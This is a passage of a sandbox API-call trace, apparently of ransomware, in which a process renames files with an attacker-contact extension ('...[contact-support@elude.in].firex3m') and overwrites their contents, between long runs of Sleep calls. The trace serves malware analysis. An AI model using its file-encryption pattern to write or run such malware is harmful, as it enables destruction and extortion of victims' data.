Office\\root\\VFS\\Fonts\\private\\TCMI____.TTF", len=0x45 | out: pbstr=0x40bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCMI____.TTF") returned 1 [0268.049] GetProcessHeap () returned 0x630000 [0268.049] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b5c) returned 0x6fe3bb0 [0268.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCMI____.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcmi____.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0268.092] CloseHandle (hObject=0x4bc) returned 1 [0268.096] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0268.096] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCMI____.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcmi____.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCMI____.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcmi____.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0268.097] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0268.097] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCMI____.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x868f8b70, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868f8b70, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86a762bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1319c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TCMI____.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TCMI__~1.FIR")) returned 0x6d5380 [0268.098] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0268.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCMI____.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcmi____.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0268.098] GetProcessHeap () returned 0x630000 [0268.098] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73005d8 [0268.098] GetProcessHeap () returned 0x630000 [0268.098] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70dd910 [0268.099] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.099] ReadFile (in: hFile=0x4bc, lpBuffer=0x73005d8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73005d8*, lpNumberOfBytesRead=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 51 os_tid = 0xf90 [0067.524] Sleep (dwMilliseconds=0x1) [0067.537] Sleep (dwMilliseconds=0x1) [0067.554] Sleep (dwMilliseconds=0x1) [0067.654] Sleep (dwMilliseconds=0x1) [0067.664] Sleep (dwMilliseconds=0x1) [0067.678] Sleep (dwMilliseconds=0x1) [0067.695] Sleep (dwMilliseconds=0x1) [0067.709] Sleep (dwMilliseconds=0x1) [0067.726] Sleep (dwMilliseconds=0x1) [0067.740] Sleep (dwMilliseconds=0x1) [0067.765] Sleep (dwMilliseconds=0x1) [0067.771] Sleep (dwMilliseconds=0x1) [0067.790] Sleep (dwMilliseconds=0x1) [0067.931] Sleep (dwMilliseconds=0x1) [0068.039] Sleep (dwMilliseconds=0x1) [0068.151] Sleep (dwMilliseconds=0x1) [0068.278] Sleep (dwMilliseconds=0x1) [0068.400] Sleep (dwMilliseconds=0x1) [0068.494] Sleep (dwMilliseconds=0x1) [0068.543] Sleep (dwMilliseconds=0x1) [0068.700] Sleep (dwMilliseconds=0x1) [0068.745] Sleep (dwMilliseconds=0x1) [0068.794] Sleep (dwMilliseconds=0x1) [0068.840] Sleep (dwMilliseconds=0x1) [0068.886] Sleep (dwMilliseconds=0x1) [0068.932] Sleep (dwMilliseconds=0x1) [0068.978] Sleep (dwMilliseconds=0x1) [0069.045] Sleep (dwMilliseconds=0x1) [0069.107] Sleep (dwMilliseconds=0x1) [0069.156] Sleep (dwMilliseconds=0x1) [0069.200] Sleep (dwMilliseconds=0x1) [0069.247] Sleep (dwMilliseconds=0x1) [0069.295] Sleep (dwMilliseconds=0x1) [0069.376] Sleep (dwMilliseconds=0x1) [0069.437] Sleep (dwMilliseconds=0x1) [0069.481] Sleep (dwMilliseconds=0x1) [0069.525] Sleep (dwMilliseconds=0x1) [0069.686] Sleep (dwMilliseconds=0x1) [0069.922] Sleep (dwMilliseconds=0x1) [0070.144] Sleep (dwMilliseconds=0x1) [0070.265] Sleep (dwMilliseconds=0x1) [0070.379] Sleep (dwMilliseconds=0x1) [0070.536] Sleep (dwMilliseconds=0x1) [0070.873] Sleep (dwMilliseconds=0x1) [0071.564] Sleep (dwMilliseconds=0x1) [0071.939] Sleep (dwMilliseconds=0x1) [0072.425] Sleep (dwMilliseconds=0x1) [0072.604] Sleep (dwMilliseconds=0x1) [0072.802] Sleep (dwMilliseconds=0x1) [0072.952] Sleep (dwMilliseconds=0x1) [0073.102] Sleep (dwMilliseconds=0x1) [0073.605] Sleep (dwMilliseconds=0x1) [0073.778] Sleep (dwMilliseconds=0x1) [0073.975] Sleep (dwMilliseconds=0x1) [0074.082] Sleep (dwMilliseconds=0x1) [0074.186] Sleep (dwMilliseconds=0x1) [0074.379] Sleep (dwMilliseconds=0x1) [0074.673] Sleep (dwMilliseconds=0x1) [0074.770] Sleep (dwMilliseconds=0x1) [0074.850] Sleep (dwMilliseconds=0x1) [0074.906] Sleep (dwMilliseconds=0x1) [0074.999] Sleep (dwMilliseconds=0x1) [0075.062] Sleep (dwMilliseconds=0x1) [0075.104] Sleep (dwMilliseconds=0x1) [0075.159] Sleep (dwMilliseconds=0x1) [0075.215] Sleep (dwMilliseconds=0x1) [0075.265] Sleep (dwMilliseconds=0x1) [0075.303] Sleep (dwMilliseconds=0x1) [0075.363] Sleep (dwMilliseconds=0x1) [0075.426] Sleep (dwMilliseconds=0x1) [0075.514] Sleep (dwMilliseconds=0x1) [0075.567] Sleep (dwMilliseconds=0x1) [0075.613] Sleep (dwMilliseconds=0x1) [0075.697] Sleep (dwMilliseconds=0x1) [0075.745] Sleep (dwMilliseconds=0x1) [0075.792] Sleep (dwMilliseconds=0x1) [0075.831] Sleep (dwMilliseconds=0x1) [0076.048] Sleep (dwMilliseconds=0x1) [0076.059] Sleep (dwMilliseconds=0x1) [0076.086] Sleep (dwMilliseconds=0x1) [0076.103] Sleep (dwMilliseconds=0x1) [0076.190] Sleep (dwMilliseconds=0x1) [0076.388] Sleep (dwMilliseconds=0x1) [0076.533] Sleep (dwMilliseconds=0x1) [0076.668] Sleep (dwMilliseconds=0x1) [0076.773] Sleep (dwMilliseconds=0x1) [0076.806] Sleep (dwMilliseconds=0x1) [0076.846] Sleep (dwMilliseconds=0x1) [0076.868] Sleep (dwMilliseconds=0x1) [0076.924] Sleep (dwMilliseconds=0x1) [0076.982] Sleep (dwMilliseconds=0x1) [0077.071] Sleep (dwMilliseconds=0x1) [0077.152] Sleep (dwMilliseconds=0x1) [0077.222] Sleep (dwMilliseconds=0x1) [0077.289] Sleep (dwMilliseconds=0x1) [0077.360] Sleep (dwMilliseconds=0x1) [0077.412] Sleep (dwMilliseconds=0x1) [0077.520] Sleep (dwMilliseconds=0x1) [0077.597] Sleep (dwMilliseconds=0x1) [0077.649] Sleep (dwMilliseconds=0x1) [0077.689] Sleep (dwMilliseconds=0x1) [0077.736] Sleep (dwMilliseconds=0x1) [0077.782] Sleep (dwMilliseconds=0x1) [0077.833] Sleep (dwMilliseconds=0x1) [0077.856] Sleep (dwMilliseconds=0x1) [0077.912] Sleep (dwMilliseconds=0x1) [0077.957] Sleep (dwMilliseconds=0x1) [0077.981] Sleep (dwMilliseconds=0x1) [0078.062] Sleep (dwMilliseconds=0x1) [0078.090] Sleep (dwMilliseconds=0x1) [0078.120] Sleep (dwMilliseconds=0x1) [0078.132] Sleep (dwMilliseconds=0x1) [0078.195] Sleep (dwMilliseconds=0x1) [0078.221] Sleep (dwMilliseconds=0x1) [0078.240] Sleep (dwMilliseconds=0x1) [0078.251] Sleep (dwMilliseconds=0x1) [0078.274] Sleep (dwMilliseconds=0x1) [0078.284] Sleep (dwMilliseconds=0x1) [0078.316] Sleep (dwMilliseconds=0x1) [0078.358] Sleep (dwMilliseconds=0x1) [0078.381] Sleep (dwMilliseconds=0x1) [0078.448] Sleep (dwMilliseconds=0x1) [0078.531] Sleep (dwMilliseconds=0x1) [0078.564] Sleep (dwMilliseconds=0x1) [0078.610] Sleep (dwMilliseconds=0x1) [0078.627] Sleep (dwMilliseconds=0x1) [0078.645] Sleep (dwMilliseconds=0x1) [0078.659] Sleep (dwMilliseconds=0x1) [0078.676] Sleep (dwMilliseconds=0x1) [0078.711] Sleep (dwMilliseconds=0x1) [0078.718] Sleep (dwMilliseconds=0x1) [0078.741] Sleep (dwMilliseconds=0x1) [0078.751] Sleep (dwMilliseconds=0x1) [0078.773] Sleep (dwMilliseconds=0x1) [0078.781] Sleep (dwMilliseconds=0x1) [0078.843] Sleep (dwMilliseconds=0x1) [0078.891] Sleep (dwMilliseconds=0x1) [0078.929] Sleep (dwMilliseconds=0x1) [0078.944] Sleep (dwMilliseconds=0x1) [0078.961] Sleep (dwMilliseconds=0x1) [0078.977] Sleep (dwMilliseconds=0x1) [0079.005] Sleep (dwMilliseconds=0x1) [0079.030] Sleep (dwMilliseconds=0x1) [0079.051] Sleep (dwMilliseconds=0x1) [0079.078] Sleep (dwMilliseconds=0x1) [0079.100] Sleep (dwMilliseconds=0x1) [0079.114] Sleep (dwMilliseconds=0x1) [0079.131] Sleep (dwMilliseconds=0x1) [0079.157] Sleep (dwMilliseconds=0x1) [0079.226] Sleep (dwMilliseconds=0x1) [0079.248] Sleep (dwMilliseconds=0x1) [0079.271] Sleep (dwMilliseconds=0x1) [0079.285] Sleep (dwMilliseconds=0x1) [0079.302] Sleep (dwMilliseconds=0x1) [0079.313] Sleep (dwMilliseconds=0x1) [0079.332] Sleep (dwMilliseconds=0x1) [0079.345] Sleep (dwMilliseconds=0x1) [0079.363] Sleep (dwMilliseconds=0x1) [0079.375] Sleep (dwMilliseconds=0x1) [0079.400] Sleep (dwMilliseconds=0x1) [0079.414] Sleep (dwMilliseconds=0x1) [0079.425] Sleep (dwMilliseconds=0x1) [0079.445] Sleep (dwMilliseconds=0x1) [0079.519] Sleep (dwMilliseconds=0x1) [0079.540] Sleep (dwMilliseconds=0x1) [0079.548] Sleep (dwMilliseconds=0x1) [0079.598] Sleep (dwMilliseconds=0x1) [0079.613] Sleep (dwMilliseconds=0x1) [0079.627] Sleep (dwMilliseconds=0x1) [0079.644] Sleep (dwMilliseconds=0x1) [0079.658] Sleep (dwMilliseconds=0x1) [0079.678] Sleep (dwMilliseconds=0x1) [0079.693] Sleep (dwMilliseconds=0x1) [0079.734] Sleep (dwMilliseconds=0x1) [0079.805] Sleep (dwMilliseconds=0x1) [0079.811] Sleep (dwMilliseconds=0x1) [0079.835] Sleep (dwMilliseconds=0x1) [0079.886] Sleep (dwMilliseconds=0x1) [0079.900] Sleep (dwMilliseconds=0x1) [0079.913] Sleep (dwMilliseconds=0x1) [0079.935] Sleep (dwMilliseconds=0x1) [0079.988] Sleep (dwMilliseconds=0x1) [0080.046] Sleep (dwMilliseconds=0x1) [0080.072] Sleep (dwMilliseconds=0x1) [0080.083] Sleep (dwMilliseconds=0x1) [0080.101] Sleep (dwMilliseconds=0x1) [0080.135] Sleep (dwMilliseconds=0x1) [0080.162] Sleep (dwMilliseconds=0x1) [0080.172] Sleep (dwMilliseconds=0x1) [0080.239] Sleep (dwMilliseconds=0x1) [0080.259] Sleep (dwMilliseconds=0x1) [0080.270] Sleep (dwMilliseconds=0x1) [0080.284] Sleep (dwMilliseconds=0x1) [0080.302] Sleep (dwMilliseconds=0x1) [0080.315] Sleep (dwMilliseconds=0x1) [0080.344] Sleep (dwMilliseconds=0x1) [0080.360] Sleep (dwMilliseconds=0x1) [0080.385] Sleep (dwMilliseconds=0x1) [0080.391] Sleep (dwMilliseconds=0x1) [0080.411] Sleep (dwMilliseconds=0x1) [0080.425] Sleep (dwMilliseconds=0x1) [0080.442] Sleep (dwMilliseconds=0x1) [0080.501] Sleep (dwMilliseconds=0x1) [0080.527] Sleep (dwMilliseconds=0x1) [0080.554] Sleep (dwMilliseconds=0x1) [0080.562] Sleep (dwMilliseconds=0x1) [0080.588] Sleep (dwMilliseconds=0x1) [0080.600] Sleep (dwMilliseconds=0x1) [0080.620] Sleep (dwMilliseconds=0x1) [0080.655] Sleep (dwMilliseconds=0x1) [0080.678] Sleep (dwMilliseconds=0x1) [0080.705] Sleep (dwMilliseconds=0x1) [0080.722] Sleep (dwMilliseconds=0x1) [0080.766] Sleep (dwMilliseconds=0x1) [0080.786] Sleep (dwMilliseconds=0x1) [0080.806] Sleep (dwMilliseconds=0x1) [0080.818] Sleep (dwMilliseconds=0x1) [0080.837] Sleep (dwMilliseconds=0x1) [0080.846] Sleep (dwMilliseconds=0x1) [0080.889] Sleep (dwMilliseconds=0x1) [0080.917] Sleep (dwMilliseconds=0x1) [0080.923] Sleep (dwMilliseconds=0x1) [0080.941] Sleep (dwMilliseconds=0x1) [0080.958] Sleep (dwMilliseconds=0x1) [0080.977] Sleep (dwMilliseconds=0x1) [0080.990] Sleep (dwMilliseconds=0x1) [0081.004] Sleep (dwMilliseconds=0x1) [0081.018] Sleep (dwMilliseconds=0x1) [0081.036] Sleep (dwMilliseconds=0x1) [0081.050] Sleep (dwMilliseconds=0x1) [0081.286] Sleep (dwMilliseconds=0x1) [0081.432] Sleep (dwMilliseconds=0x1) [0081.521] Sleep (dwMilliseconds=0x1) [0081.540] Sleep (dwMilliseconds=0x1) [0081.561] Sleep (dwMilliseconds=0x1) [0081.583] Sleep (dwMilliseconds=0x1) [0081.598] Sleep (dwMilliseconds=0x1) [0081.614] Sleep (dwMilliseconds=0x1) [0081.627] Sleep (dwMilliseconds=0x1) [0081.666] Sleep (dwMilliseconds=0x1) [0081.681] Sleep (dwMilliseconds=0x1) [0081.693] Sleep (dwMilliseconds=0x1) [0081.708] Sleep (dwMilliseconds=0x1) [0081.758] Sleep (dwMilliseconds=0x1) [0081.775] Sleep (dwMilliseconds=0x1) [0081.790] Sleep (dwMilliseconds=0x1) [0081.831] Sleep (dwMilliseconds=0x1) [0081.850] Sleep (dwMilliseconds=0x1) [0081.885] Sleep (dwMilliseconds=0x1) [0081.894] Sleep (dwMilliseconds=0x1) [0081.909] Sleep (dwMilliseconds=0x1) [0081.927] Sleep (dwMilliseconds=0x1) [0081.941] Sleep (dwMilliseconds=0x1) [0081.968] Sleep (dwMilliseconds=0x1) [0081.986] Sleep (dwMilliseconds=0x1) [0082.003] Sleep (dwMilliseconds=0x1) [0082.035] Sleep (dwMilliseconds=0x1) [0082.051] Sleep (dwMilliseconds=0x1) [0082.068] Sleep (dwMilliseconds=0x1) [0082.113] Sleep (dwMilliseconds=0x1) [0082.132] Sleep (dwMilliseconds=0x1) [0082.152] Sleep (dwMilliseconds=0x1) [0082.198] Sleep (dwMilliseconds=0x1) [0082.211] Sleep (dwMilliseconds=0x1) [0082.236] Sleep (dwMilliseconds=0x1) [0082.254] Sleep (dwMilliseconds=0x1) [0082.280] Sleep (dwMilliseconds=0x1) [0082.291] Sleep (dwMilliseconds=0x1) [0082.312] Sleep (dwMilliseconds=0x1) [0082.367] Sleep (dwMilliseconds=0x1) [0082.421] Sleep (dwMilliseconds=0x1) [0082.537] Sleep (dwMilliseconds=0x1) [0082.592] Sleep (dwMilliseconds=0x1) [0082.633] Sleep (dwMilliseconds=0x1) [0082.688] Sleep (dwMilliseconds=0x1) [0082.725] Sleep (dwMilliseconds=0x1) [0082.780] Sleep (dwMilliseconds=0x1) [0082.818] Sleep (dwMilliseconds=0x1) [0082.874] Sleep (dwMilliseconds=0x1) [0082.912] Sleep (dwMilliseconds=0x1) [0082.972] Sleep (dwMilliseconds=0x1) [0083.012] Sleep (dwMilliseconds=0x1) [0083.058] Sleep (dwMilliseconds=0x1) [0083.100] Sleep (dwMilliseconds=0x1) [0083.154] Sleep (dwMilliseconds=0x1) [0083.197] Sleep (dwMilliseconds=0x1) [0083.247] Sleep (dwMilliseconds=0x1) [0083.289] Sleep (dwMilliseconds=0x1) [0083.341] Sleep (dwMilliseconds=0x1) [0083.381] Sleep (dwMilliseconds=0x1) [0083.440] Sleep (dwMilliseconds=0x1) [0083.699] Sleep (dwMilliseconds=0x1) [0083.754] Sleep (dwMilliseconds=0x1) [0083.799] Sleep (dwMilliseconds=0x1) [0083.916] Sleep (dwMilliseconds=0x1) [0084.015] Sleep (dwMilliseconds=0x1) [0084.090] Sleep (dwMilliseconds=0x1) [0084.205] Sleep (dwMilliseconds=0x1) [0084.340] Sleep (dwMilliseconds=0x1) [0084.741] Sleep (dwMilliseconds=0x1) [0084.808] Sleep (dwMilliseconds=0x1) [0084.880] Sleep (dwMilliseconds=0x1) [0084.958] Sleep (dwMilliseconds=0x1) [0085.048] Sleep (dwMilliseconds=0x1) [0085.123] Sleep (dwMilliseconds=0x1) [0085.180] Sleep (dwMilliseconds=0x1) [0085.344] Sleep (dwMilliseconds=0x1) [0085.392] Sleep (dwMilliseconds=0x1) [0085.733] Sleep (dwMilliseconds=0x1) [0085.834] Sleep (dwMilliseconds=0x1) [0085.960] Sleep (dwMilliseconds=0x1) [0086.079] Sleep (dwMilliseconds=0x1) [0086.190] Sleep (dwMilliseconds=0x1) [0086.233] Sleep (dwMilliseconds=0x1) [0086.297] Sleep (dwMilliseconds=0x1) [0086.349] Sleep (dwMilliseconds=0x1) [0086.591] Sleep (dwMilliseconds=0x1) [0086.893] Sleep (dwMilliseconds=0x1) [0087.095] Sleep (dwMilliseconds=0x1) [0087.468] Sleep (dwMilliseconds=0x1) [0089.108] Sleep (dwMilliseconds=0x1) [0090.328] Sleep (dwMilliseconds=0x1) [0091.760] Sleep (dwMilliseconds=0x1) [0093.281] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi", len=0x26 | out: pbstr=0x41fff7c*="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 1 [0093.281] GetProcessHeap () returned 0x630000 [0093.281] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x673f20, Size=0x94) returned 0x6747e0 [0093.281] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0093.309] CloseHandle (hObject=0x6e0) returned 1 [0093.309] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.309] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), lpNewFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.310] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.310] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGB9Rast_x86.msi.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RGB9RA~1.FIR")) returned 0x6d5580 [0093.310] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0093.310] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0093.310] GetProcessHeap () returned 0x630000 [0093.310] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7135f08 [0093.311] GetProcessHeap () returned 0x630000 [0093.311] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7141338 [0093.312] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.312] ReadFile (in: hFile=0x6e0, lpBuffer=0x7135f08, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7135f08*, lpNumberOfBytesRead=0x41fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.469] GetProcessHeap () returned 0x630000 [0100.469] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0100.469] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.469] WriteFile (in: hFile=0x6e0, lpBuffer=0x7141338*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7141338*, lpNumberOfBytesWritten=0x41fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.470] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.470] WriteFile (in: hFile=0x6e0, lpBuffer=0x714c737*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x714c737*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0100.470] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.470] WriteFile (in: hFile=0x6e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0100.470] CloseHandle (hObject=0x6e0) returned 1 [0100.472] GetProcessHeap () returned 0x630000 [0100.472] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7141338 | out: hHeap=0x630000) returned 1 [0100.472] GetProcessHeap () returned 0x630000 [0100.472] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7135f08 | out: hHeap=0x630000) returned 1 [0100.475] GetProcessHeap () returned 0x630000 [0100.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0100.475] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0100.475] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x1d591ec, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x17224, dwReserved0=0xb307496, dwReserved1=0x7135f00, cFileName="RGB9Rast_x86.msi.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RGB9RA~1.FIR")) returned 0x6d4f80 [0100.475] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0100.475] Sleep (dwMilliseconds=0x1) [0101.390] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Boot\\Fonts\\msjh_boot.ttf", len=0x1b | out: pbstr=0x41fff7c*="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 1 [0101.390] GetProcessHeap () returned 0x630000 [0101.390] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6188, Size=0x2c) returned 0x6ed5f58 [0101.390] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.334] Sleep (dwMilliseconds=0x1) [0102.353] Sleep (dwMilliseconds=0x1) [0102.377] Sleep (dwMilliseconds=0x1) [0102.379] Sleep (dwMilliseconds=0x1) [0102.397] Sleep (dwMilliseconds=0x1) [0102.430] Sleep (dwMilliseconds=0x1) [0102.460] Sleep (dwMilliseconds=0x1) [0102.474] Sleep (dwMilliseconds=0x1) [0102.489] Sleep (dwMilliseconds=0x1) [0102.505] Sleep (dwMilliseconds=0x1) [0102.521] Sleep (dwMilliseconds=0x1) [0102.539] Sleep (dwMilliseconds=0x1) [0102.556] Sleep (dwMilliseconds=0x1) [0102.568] Sleep (dwMilliseconds=0x1) [0102.583] Sleep (dwMilliseconds=0x1) [0102.599] Sleep (dwMilliseconds=0x1) [0102.614] Sleep (dwMilliseconds=0x1) [0102.631] Sleep (dwMilliseconds=0x1) [0102.662] Sleep (dwMilliseconds=0x1) [0102.677] Sleep (dwMilliseconds=0x1) [0102.754] Sleep (dwMilliseconds=0x1) [0102.771] Sleep (dwMilliseconds=0x1) [0102.787] Sleep (dwMilliseconds=0x1) [0102.806] Sleep (dwMilliseconds=0x1) [0102.818] Sleep (dwMilliseconds=0x1) [0102.884] Sleep (dwMilliseconds=0x1) [0102.900] Sleep (dwMilliseconds=0x1) [0102.928] Sleep (dwMilliseconds=0x1) [0102.943] Sleep (dwMilliseconds=0x1) [0102.958] Sleep (dwMilliseconds=0x1) [0102.974] Sleep (dwMilliseconds=0x1) [0102.989] Sleep (dwMilliseconds=0x1) [0103.005] Sleep (dwMilliseconds=0x1) [0103.021] Sleep (dwMilliseconds=0x1) [0103.087] Sleep (dwMilliseconds=0x1) [0103.099] Sleep (dwMilliseconds=0x1) [0103.114] Sleep (dwMilliseconds=0x1) [0103.130] Sleep (dwMilliseconds=0x1) [0103.150] Sleep (dwMilliseconds=0x1) [0103.166] Sleep (dwMilliseconds=0x1) [0103.183] Sleep (dwMilliseconds=0x1) [0103.193] Sleep (dwMilliseconds=0x1) [0103.208] Sleep (dwMilliseconds=0x1) [0103.224] Sleep 